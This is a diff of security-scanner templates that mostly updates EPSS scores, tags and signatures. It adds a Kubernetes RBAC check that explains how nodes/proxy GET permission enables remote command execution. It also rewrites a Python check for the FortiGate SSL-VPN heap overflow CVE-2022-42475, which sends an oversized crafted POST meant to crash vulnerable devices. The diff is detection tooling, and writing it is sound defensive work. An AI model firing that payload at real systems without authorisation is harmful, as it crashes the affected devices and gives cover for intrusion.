-  tags: cloud,devops,gcp,gcloud,vertexai,security,secure-boot,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,vertexai,security,secure-boot,gcp-cloud-config,ai

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without Secure Boot enabled"'
-# digest: 4b0a0048304602210082e89eb94bc0d7ab464530e9adc73c736fa580813fb37e4c135b491da8598f13022100e361b6ec75ffff463f72c5ab9af82594fa3bac07639c3147ede1fa6c2374cb6c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207866f5d4ad7aba081232ed70b2ca4e104f7d781d1320b152cad1ada406601b4e022100dfebaafce7a40c3fa12304f63b34dd7d758108f65204e752139ec65d6dfd8bb0:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-vtpm.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,vtpm,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,vertexai,security,vtpm,gcp-cloud-config,ai

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without Virtual Trusted Platform Module (vTPM) enabled"'
-# digest: 4b0a004830460221008daab33ee8514bd0a358a39a0c7d5230d9f00695fc2dafcea6cb20b78efe6c1a022100f29c8980ff8d878cdca0220035201e74e8670496e896f4e8c4b6a1f41675ae13:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200a062fbf1e24e81fed35d1e0da64536f63b695ad66c7c4ed40d8dbe2d5c6350702210085620cf4d8a4001277295a946d3c7fdbfe48d5c4211da71d13494be91f5b323f:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,70 @@
+id: k8s-clusterrole-nodes-proxy-rce
+
+info:
+  name: ClusterRoles with Risky nodes/proxy GET Permission
+  author: princechaddha
+  severity: high
+  description: |
+    Detects Kubernetes ClusterRoles that grant GET permission on nodes/proxy resource.
+    Due to an authorization inconsistency in Kubelet, the nodes/proxy GET permission allows
+    execution of commands in any container via WebSocket connections to the Kubelet API.
+    The Kubelet authorizes based on the initial HTTP GET method of WebSocket handshake
+    rather than the actual operation (exec/run/attach) which should require CREATE permission.
+  impact: |
+    Service accounts with nodes/proxy GET permission can potentially execute commands in any
+    container if they have network access to the Kubelet API (port 10250). This bypasses
+    expected RBAC controls and audit logging.
+  remediation: |
+    Remove nodes/proxy GET permissions from ClusterRoles unless absolutely necessary.
+    Restrict network access to Kubelet port 10250 and implement network policies.
+  reference:
+    - https://grahamhelton.com/blog/nodes-proxy-rce
+  tags: cloud,devops,kubernetes,devsecops,rbac,k8s,k8s-cluster-security
+
+flow: |
+  code(1);
+  for (let role of template.items) {
+    set("role", role)
+    javascript(1);
+  }
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: kubectl get clusterrole --output=json
+    extractors:
+      - type: json
+        name: items
+        internal: true
+        json:
+          - '.items[]'
+
+javascript:
+  - code: |
+        let role = JSON.parse(template.role);
+        let riskyRules = 0;
+        if (role.rules) {
+          role.rules.forEach(rule => {
+            let apiGroups = rule.apiGroups || [];
+            let resources = rule.resources || [];
+            let verbs = rule.verbs || [];
+            let isCoreApiGroup = apiGroups.includes("") || apiGroups.includes("*");
+            let hasNodesProxy = resources.includes("nodes/proxy") || resources.includes("*");
+            let hasGetVerb = verbs.includes("get") || verbs.includes("*");
+            if (isCoreApiGroup && hasNodesProxy && hasGetVerb) {
+              riskyRules++;
+            }
+          });
+        }
+        if (riskyRules > 0) {
+          let result = (`ClusterRole '${role.metadata.name}' has ${riskyRules} rule(s) granting 'nodes/proxy' GET permission in core API group, allowing potential RCE via Kubelet.`);
+          Export(result);
+        }
+
+    extractors:
+      - type: dsl
+        dsl:
+          - response
+# digest: 4a0a00473045022100cf472116d86502fb62d55139553bddb302af32a62f5d97a692534391ead1659f02207a776d50650ff39e152e39cc48109ff7963ec2db0d4ad2b03100258ea77dd32d:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
  metadata:
    verified: true
  classification:
-    epss-score: 0.94464
-    epss-percentile: 0.99995
+    epss-score: 0.99999
+    epss-percentile: 0.99997
  tags: cve,cve2014,openssl,heartbleed,code,kev,vkev,vuln

 variables:
@@ -111,7 +111,7 @@ code:
          # Parse the URL
          parsed_url = urlparse(url)
          host = parsed_url.hostname
-          port = parsed_url.port if parsed_url.port else 443
+          port = parsed_url.port if parsed_url.port else 80 if parsed_url.scheme == "http" else 443

          if not host:
              return
@@ -142,4 +142,4 @@ code:
      - type: dsl
        dsl:
          - "contains(response,'server is vulnerable')"
-# digest: 4b0a00483046022100b436f195027bee97d8fcd6f4ce6891122a37062acee6c86a62ef9fe7822dc81d0221008b13457977e0b7019a8bb7f1014157f889ad44a6a8a4131b269d78add72a7697:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022025fb32d50429e79a55671250d74099d03da47ce3216da49f1db8eab5c9ebd14402203d93330779bb4fb3553f3a283924d426ff05be56b0b7a038150bce3807037d13:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-8735
-    epss-score: 0.93901
-    epss-percentile: 0.99866
+    epss-score: 0.90338
+    epss-percentile: 0.99785
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    shodan-query: product:"tomcat"
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2017-1000353
    cwe-id: CWE-502
-    epss-score: 0.94508
-    epss-percentile: 1
+    epss-score: 0.99686
+    epss-percentile: 0.99948
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
  metadata:
    vendor: jenkins
@@ -108,4 +108,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 490a00463044022065ba47069c9c8be3b8b20baaf07cc1e5bd514548908b83d01cc1ed3f1949960d022016d51765b84d48fd3df32d1a4484ef6b46775a4012de24f85c653381d9ff9fba:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008910bc02234abc45ab9b1fb4439f3ef5af5db60c5d977de5770944115be930df022100d1f71932410d529654794405ec53fb4a9c0f45414571741a73b6e03adeefc82a:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2019-0604
    cwe-id: CWE-20
-    epss-score: 0.94441
-    epss-percentile: 0.99989
+    epss-score: 0.99913
+    epss-percentile: 0.99966
  metadata:
    verified: true
    vendor: microsoft
@@ -156,4 +156,4 @@ code:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(interactsh_request, hex_encode(marker))'
        condition: and
-# digest: 4a0a00473045022100e3197ee26d9a33ce29fd4c4d0641965e50f542e4fb7bb0f5ba6941627d2dcf0502201f3daf9691d36d40df94de608d0e527a506b79315ccff56abb94fe6d8df1446e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c74a382266e9dfdb3d03b6cc09a7cf9ddad7fd5c1fcc3427e624e70f2114eac7022053fa76d4023747107597a44ebb2e2530e2d8d8b913d65d7551c328c33fa2ebb1:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 8.8
    cve-id: CVE-2019-14287
    cwe-id: CWE-755
-    epss-score: 0.86126
-    epss-percentile: 0.99369
+    epss-score: 0.63917
+    epss-percentile: 0.99123
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -51,4 +51,4 @@ code:
          - '!contains(code_1_response, "root")'
          - 'contains(code_2_response, "root")'
        condition: and
-# digest: 4b0a00483046022100928a6e471791355700895bc2726cf3efb4620b424f27b8a95e8c274c64146f5002210095a8887fa60ad3bd7e18e2fd603daef6177103c915d0e26ad706a70d1467c2c4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221009f95a64653539c27c17d96b8dec42d6a4c345813e34945aec95c8303977ab697022027b0914a15a733ce01ccdace0c37a6e651b2c686144d929736ad3d2254f8e04d:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2020-0646
    cwe-id: CWE-91
-    epss-score: 0.93865
-    epss-percentile: 0.9986
+    epss-score: 0.99193
+    epss-percentile: 0.99929
    cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
  metadata:
    verified: true
@@ -106,4 +106,4 @@ code:
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and
-# digest: 490a00463044022047e6c94723d8391e9af3fcf67272f7fe875ae0b7b5ca16be6a30cb5b26436bfb02207d3369bab78d5407e1c4036d03f43da265d5706bdfe4284c45131c20a74e7ba4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207162f761e3d8ddc260f7d3f67120120f8b615d0a94070bd2fad50ba2d30da7c9022100bac50b9c69fbd7c5dad760e65dd37125ee8d8586bdca7fa75f1b0bafd1912d38:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-13935
-    epss-score: 0.92155
-    epss-percentile: 0.99693
+    epss-score: 0.87553
+    epss-percentile: 0.99736
  reference:
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2021-3156
    cwe-id: CWE-193
-    epss-score: 0.9246
-    epss-percentile: 0.99715
+    epss-score: 0.99295
+    epss-percentile: 0.99933
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -44,4 +44,4 @@ code:
          - "malloc(): memory corruption"
          - "Aborted (core dumped)"
        condition: and
-# digest: 4b0a00483046022100f621f931f96503014c3d3937aefaa32d00de6b949e8004f75957e49ff6e26d66022100d8b0c458b7566a959b922d3c07f3061abc066cd2950c47de2c0fb63d73b47618:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ab0a7ac942d47cd091d970fb33bf7349e9209b77c786e722f790a2d218f2ca41022100b7848035d28482d955ed57ef2669ef1dfa2b1702be8df9421af1fd6fd469fe2f:922c64590222798bb761d5b6d8e72950
@@ -24,8 +24,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-42475
    cwe-id: CWE-197,CWE-787
-    epss-score: 0.94062
-    epss-percentile: 0.99897
+    epss-score: 0.99474
+    epss-percentile: 0.99938
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -38,7 +38,8 @@ info:
    fofa-query:
      - body="/remote/login" "xxxxxxxx"
      - icon_hash="945408572"
-  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln
+  tags: cve,cve2022,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln
+
 flow: http () && code()

 http:
@@ -64,139 +65,226 @@ code:

    source: |
        import sys, os, time, socket, ssl
+
        PADDING        = 0x4141414141414141
        PADDING_LEN    = 1024*12
        CONTENT_LENGTH = b"4294967297"

+        # Configuration for false positive prevention
+        POST_EXPLOIT_WAIT = 2       # Seconds to wait before post-exploit check
+        POST_EXPLOIT_RETRIES = 3    # Number of retries for post-exploit connectivity
+        CONNECTIVITY_TIMEOUT = 5    # Timeout for connectivity checks
+
        class SSLVPNExploit:
          def __init__(self, host, port):
            self.host = host
            self.port = port
-          def connect(self):
-            tries = 1
-            if os.getenv("Scheme") == "https":
-              useSSL = True
-              print("[+] Using SSL/TLS")
-            else:
-              useSSL = False
-              print("[+] Unencrypted connection")
-            while tries <= 6:
-              try:
-                print("[+] Connecting to %s [ attempt %d of 6 ]                                \r" % (self.host, tries), end='\n')
-                self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-                if useSSL == True:
-                  ctx = ssl._create_unverified_context()
-                  self.socket = ctx.wrap_socket(self.cleartext_socket)
-                else:
-                  self.socket = self.cleartext_socket
-                self.socket.settimeout(2.0)
-                self.socket.connect((self.host, self.port))
+            self.useSSL = os.getenv("Scheme") == "https"

-                return self.socket
-              except socket.timeout as e:
-                tries += 1
-                print("Connection timeout!")
-                continue
-              except Exception as e:
-                print("Unknown error!")
-                print(e)
-                return None
-            return None
-          def check_by_get(self):
-            get_req = bytearray(b"")
-            get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
-
-            print("[>] Sending GET first")
-            if self.connect() == None:
-              print("[!] Error connecting to target")
-              exit(1)
+          def create_socket(self, timeout=2.0):
+            """Create a new socket connection"""
            try:
-              self.socket.sendall(get_req)
-
-              self.socket.settimeout(10)
-              get_buf = self.socket.recv(1048576)
-
-              if len(get_buf) == 0:
-                print("Error while sending GET. Protocol mismatch?")
-                return None
-              self.socket.close()
-              return True
-            except socket.timeout as e:
-              print("[>] Target waited for more data.")
-              return False
-
+              sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+              sock.settimeout(timeout)
+              if self.useSSL:
+                ctx = ssl._create_unverified_context()
+                sock = ctx.wrap_socket(sock)
+              sock.connect((self.host, self.port))
+              return sock
            except Exception as e:
-              print("[>] Target dropped the connection during test GET, which indicates a communication error!")
-              print(e)
              return None

+          def check_connectivity(self, timeout=CONNECTIVITY_TIMEOUT):
+            """
+            Check if target is responsive with a simple GET request.
+            Returns: (success: bool, response_time: float)
+            """
+            try:
+              start_time = time.time()
+              sock = self.create_socket(timeout)
+              if sock is None:
+                return False, 0
+
+              get_req = b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
+              get_req += b"\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\n\r\n"
+
+              sock.sendall(get_req)
+              sock.settimeout(timeout)
+              response = sock.recv(4096)
+              elapsed = time.time() - start_time
+              sock.close()
+
+              return len(response) > 0, elapsed
+            except Exception as e:
+              return False, time.time() - start_time
+
+          def check_by_get(self):
+            """Pre-flight connectivity check"""
+            print("[>] Pre-flight connectivity check...")
+            success, elapsed = self.check_connectivity()
+            if success:
+              print(f"[+] Target is responsive (response time: {elapsed:.2f}s)")
+              return True
+            else:
+              print("[!] Target is not responsive - cannot test")
+              return None
+
+          def send_exploit_payload(self):
+            """
+            Send the exploit payload and analyze the response.
+            Returns: (result_type: str, elapsed_time: float, details: str)
+            Result types: 'PATCHED', 'TIMEOUT', 'EMPTY_RESPONSE', 'CONNECTION_DROP', 'ERROR'
+            """
+            req = bytearray(b"")
+            req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
+            req += b"\r\nContent-Length: " + CONTENT_LENGTH
+            req += b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
+            req += b"AAAAAAAA" * PADDING_LEN
+
+            try:
+              sock = self.create_socket(timeout=10)
+              if sock is None:
+                return 'ERROR', 0, 'Could not connect'
+
+              start_time = time.time()
+              sock.sendall(req)
+              sock.settimeout(10)
+              buf = sock.recv(1048576)
+              elapsed = time.time() - start_time
+              sock.close()
+
+              if len(buf) == 0:
+                return 'EMPTY_RESPONSE', elapsed, 'Empty response received'
+
+              if b"413" in buf or b"Request Entity Too Large" in buf:
+                return 'PATCHED', elapsed, 'Target returned 413 - patched'
+
+              return 'UNEXPECTED', elapsed, buf.decode("utf-8", errors="replace")[:200]
+
+            except socket.timeout:
+              return 'TIMEOUT', time.time() - start_time, 'Socket timeout'
+            except Exception as e:
+              return 'CONNECTION_DROP', time.time() - start_time, str(e)
+
+          def post_exploit_connectivity_check(self):
+            """
+            Check if target is still responsive after exploit attempt.
+            This is the KEY differentiator between:
+            - Firewall/WAF drop (device still responsive)
+            - Actual crash (device unresponsive)
+
+            Returns: (responsive: bool, details: str)
+            """
+            print(f"[>] Waiting {POST_EXPLOIT_WAIT}s before post-exploit check...")
+            time.sleep(POST_EXPLOIT_WAIT)
+
+            for attempt in range(1, POST_EXPLOIT_RETRIES + 1):
+              print(f"[>] Post-exploit connectivity check (attempt {attempt}/{POST_EXPLOIT_RETRIES})...")
+              success, elapsed = self.check_connectivity(timeout=CONNECTIVITY_TIMEOUT)
+              if success:
+                return True, f"Device responsive after {elapsed:.2f}s"
+              time.sleep(1)
+
+            return False, "Device unresponsive after multiple attempts"
+
          def is_vulnerable(self):
-            req = bytearray(b"")
-            req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
-            req += b"AAAAAAAA"*(PADDING_LEN)
+            """
+            Improved vulnerability detection with false positive prevention.

-            print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
-            if self.connect() == None:
-              print("[!] Error connecting to target")
-              exit(1)
+            Detection logic:
+            1. If target returns 413 -> PATCHED (not vulnerable)
+            2. If target times out waiting for data -> NOT VULNERABLE
+            3. If connection drops/empty response:
+               a. Check if device is still responsive
+               b. If responsive -> FALSE POSITIVE (firewall/WAF dropped connection)
+               c. If unresponsive -> LIKELY VULNERABLE (device crashed)
+            """
+            print("[>] Sending exploit payload...")
+            result, elapsed, details = self.send_exploit_payload()

-            try:
-              # Send the payload. Vuln instances will crash, severing the connection and
-              # causing an exception to be thrown here.
-              self.socket.sendall(req)
+            print(f"[>] Exploit result: {result} (elapsed: {elapsed:.2f}s)")
+            print(f"[>] Details: {details[:100]}...")

-              # If this read succeeds then the target is probably not vulnerable.
-              # If it times out, then it's also probably not vulnerable.
-              self.socket.settimeout(10)
-              buf = self.socket.recv(1048576)
+            # Case 1: Target is patched (413 response)
+            if result == 'PATCHED':
+              print("[+] Target is PATCHED - returned 413 Request Entity Too Large")
+              return False

-              # If the remote end disconnects without an HTTP response then it's vulnerable.
-              if len(buf) == 0:
-                  return True
+            # Case 2: Target waited for more data (timeout)
+            if result == 'TIMEOUT':
+              print("[+] Target waited for more data - NOT VULNERABLE")
+              return False

-              # Check to see if it has the vendor patch applied
-              if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
-                  print("[>] Target is patched.")
-                  return False # 100% confidence that it's not vulnerable.
+            # Case 3: Connection drop or empty response - NEEDS VERIFICATION
+            if result in ('EMPTY_RESPONSE', 'CONNECTION_DROP'):
+              print("[!] Connection dropped or empty response - verifying if this is a false positive...")

-              # Ok, something weird and unexpected happened.
-              print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
-              print("----- BEGIN RESPONSE -----")
-              print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
-              print("----- END RESPONSE -----")
-              self.socket.close()
+              # KEY FIX: Check if device is still responsive
+              responsive, check_details = self.post_exploit_connectivity_check()
+
+              if responsive:
+                # Device is still responsive = Firewall/WAF dropped the connection
+                print(f"[!] FALSE POSITIVE DETECTED: {check_details}")
+                print("[!] Device is still responsive after exploit attempt")
+                print("[!] This indicates firewall/IPS/WAF intervention, NOT a crash")
+                return False  # NOT VULNERABLE - false positive
+              else:
+                # Device is unresponsive = Possible crash
+                print(f"[+] Device appears to have crashed: {check_details}")
+                print("[+] Target may be VULNERABLE (device unresponsive after exploit)")
+                return True  # LIKELY VULNERABLE
+
+            # Case 4: Unexpected response
+            if result == 'UNEXPECTED':
+              print(f"[?] Unexpected response received - manual review needed")
+              print(f"[?] Response: {details}")
              return None

-            except socket.timeout as e:
-              print("[>] Target waited for more data. Not vulnerable.")
-              return False
-            except Exception as e:
-              print("[>] Target dropped the connection, which indicates a vulnerable device!")
-              print(e)
-              return True
+            # Case 5: Error
+            print(f"[!] Error during exploit: {details}")
+            return None

        if __name__ == '__main__':
-          host=os.getenv("Host")
-          port=int(os.getenv("Port"))
+          host = os.getenv("Host")
+          port = int(os.getenv("Port"))
+
+          print("=" * 60)
+          print("CVE-2022-42475 - Fortinet SSL-VPN Heap Overflow Check")
+          print("(With False Positive Prevention)")
+          print("=" * 60)
+          print(f"[*] Target: {host}:{port}")
+          print(f"[*] SSL/TLS: {os.getenv('Scheme') == 'https'}")
+
          exploit = SSLVPNExploit(host, port)
+
+          # Step 1: Pre-flight connectivity check
          check = exploit.check_by_get()
+          if check != True:
+            print("[!] Pre-flight check failed - target unreachable")
+            exit(1)

-          if check == True:
-            result = exploit.is_vulnerable()
-            if result == None:
-              print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
-              exit(2)
+          # Step 2: Vulnerability check with false positive prevention
+          result = exploit.is_vulnerable()

-            if result == True:
-              print("[+] Target appears to be VULNERABLE")
-              exit(0)
+          if result == None:
+            print("[!] An error occurred testing for the vulnerability.")
+            print("[!] Is this even a FortiGate SSL-VPN?")
+            exit(2)

-            else:
-              print("[+] Target is NOT vulnerable")
-              exit(1)
+          if result == True:
+            print("=" * 60)
+            print("[+] Target appears to be VULNERABLE")
+            print("[+] Device became unresponsive after exploit payload")
+            print("=" * 60)
+            exit(0)
+          else:
+            print("=" * 60)
+            print("[+] Target is NOT vulnerable")
+            print("=" * 60)
+            exit(1)

    matchers:
      - type: word
        words:
          - "Target appears to be VULNERABLE"
-# digest: 4a0a004730450220408e8017faef233455636ad5b686440d84116321d09e75b20e98233ea5a2f26e022100953f049eac6f2306ab1fafc448a432fb69b81568be012ec4e3385fde371892dc:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402203a594ca86728ad75290e4473c074d814b8eef20d8dae6a0d74a8e34835d9b8ed02202277f1b2746b99d80032baca203562d0d4116d9dd34f0ddf7a6de61ea66dfb0c:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-2640
    cwe-id: CWE-863
-    epss-score: 0.91622
-    epss-percentile: 0.99659
+    epss-score: 0.15783
+    epss-percentile: 0.96475
    cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -55,4 +55,4 @@ code:
          - '!contains(code_1_response, "(root)")'
          - 'contains(code_2_response, "(root)")'
        condition: and
-# digest: 4a0a00473045022036f53f6f1da2e88e2ffdf8327dd423086baf9a6a9bd2d8e63a447744bcba6bd4022100e98211341607b3aa60fa83717f9502a6330d22dbd56bb100c552b270c6eaf52b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206db6fef55e0ea3720c171e24875022bc0c0b28fa1e8929bdb072f45c0ad3e787022100dedf028ad02b954b6ff47a920377b8a14bf24d77342839802e179f408530a0a0:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2986
-    epss-score: 0.92255
-    epss-percentile: 0.99702
+    epss-score: 0.41077
+    epss-percentile: 0.98492
    cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
@@ -630,4 +630,4 @@ http:
      - type: status
        status:
          - 302
-# digest: 4a0a00473045022100863aad28a4a645bb277bbeb0d2d9aa99818ee6a7c8155ee7de8051b0dddcd7c9022043609ef9238e330a7f9103b560fa61e39dc9de0e1de4d887438fb3a8ac7616d8:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204d23bc6ccef12b3347fdbd3ddff22740de748e8fe21616207c13d46631915f94022044d6027dd10783cec3bfa982a825a050cb7c0f93c2bed2d5eb4e8af1e3a432ba:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2023-49105
    cwe-id: CWE-287
-    epss-score: 0.89605
-    epss-percentile: 0.99534
+    epss-score: 0.11074
+    epss-percentile: 0.95394
    cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
@@ -94,4 +94,4 @@ http:
      - type: dsl
        dsl:
          - '"Username => "+ username'
-# digest: 4b0a00483046022100b63b618d5b79bf9348a674539fa3c440794a62aba7d6a4e82e67883f14d61c31022100a6763f4a594087ced27aa62694692fc9cf5b0fa553edacecc991ce8fb1ca8dc4:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022042a5d3d6ba444a5d13ebc2b14e726017a1a1628d159defe06f1fd784754adf4002207eaaf24acd794eef00b23fc181eed45312960ea935f5c00f5783b5675079f80e:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-4911
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.69791
-    epss-percentile: 0.98605
+    epss-score: 0.81422
+    epss-percentile: 0.99594
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -43,4 +43,4 @@ code:
      - type: word
        words:
          - "139"     # Segmentation Fault Exit Code
-# digest: 4a0a0047304502206a3619b03199bfc0857c3a5c8be56057f998d9b2f3af5f6d2447b8becb84ff7d022100a36f9d4c66962c320f733ac3b46d7df99ac8a56346089dad2be1837f5c8837c3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100eebfe3b3bef10d31b6567c5d98fe4ff8a29196ae0bb28b40997cb38a0ac6750202202102070abe91d318e863d75b536aeb56a24ce2adfa23f0e2170cb9a4fad316e4:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-6246
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.24316
-    epss-percentile: 0.95906
+    epss-score: 0.04794
+    epss-percentile: 0.9087
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -43,4 +43,4 @@ code:
      - type: word
        words:
          - "127"     # Segmentation Fault Exit Code
-# digest: 4a0a0047304502205bc68965e09a91bd36587b90af0ce93ca4507c4137ee00c1a41ce5c5a4160ab20221009516a0b97e8f46d8ef5113b0f2b4af5d1e5698f3e5e4c92baac35f3511e4afac:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220159eaaa8ffa7ab7226c8015d7e96ddb3267c41b3e684a1ee2d99321f3182fbf9022100e0597ce6c9a0432c3168a1210aefa6b239b053a6b3e6a764e11e7ed807026e7d:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-10443
    cwe-id: CWE-77
-    epss-score: 0.70846
-    epss-percentile: 0.98645
+    epss-score: 0.2838
+    epss-percentile: 0.97889
    cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
  metadata:
    verified: true
@@ -58,4 +58,4 @@ code:
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"
-# digest: 4a0a00473045022100bfca7870df645880a871952052b978fa071984d17ac67ee40e573224ae27b29b0220365e789f02a09778fc15de8c75ec8e28ea537f8f0db235c929e9714bfee37682:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207859036fd3efae7fa01fa07b35bf51d43362e12a6a70c185927e3b4751f9375e022100e79b6014d8afb56f5d2a7270963654a1992cfdc281dba772364157f3fd93b60c:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-12356
    cwe-id: CWE-77
-    epss-score: 0.93687
-    epss-percentile: 0.99835
+    epss-score: 0.87991
+    epss-percentile: 0.99746
    cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
  metadata:
    vendor: beyondtrust
@@ -41,4 +41,4 @@ code:
        words:
          - "0 success"
          - "1 try again later"
-# digest: 4a0a00473045022100e44eb040c59b1e287496e2f16ce334e3a9ff578e48fe42b5d23af85014a3acb50220028e6c1e6329fd985ab5ac40c77493a5aaa1068ff1a8c5c1406032bc2b836d3f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210083c79d1d50a22879901fd6304689af4b01f5e9189138c99116c68b6810bb64ee022100b7f44a0aa7ad267068a405202a4842632130902be81b54fb4517952b052035ec:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.1
    cve-id: CVE-2024-22120
    cwe-id: CWE-20
-    epss-score: 0.93259
-    epss-percentile: 0.99792
+    epss-score: 0.76618
+    epss-percentile: 0.99487
  metadata:
    max-request: 1
    vendor: zabbix
@@ -73,4 +73,4 @@ code:
      - type: word
        words:
          - "Vulnerable to CVE-2024-22120"
-# digest: 4a0a004730450220718d5807505f6031d8b84168dcfe7cc45843b11233283c1405307e2731058c020221008c26a2fad1990c712b921a8ed6ef3b3f9f1637e3948f2e37a307e97e20c3d401:922c64590222798bb761d5b6d8e72950
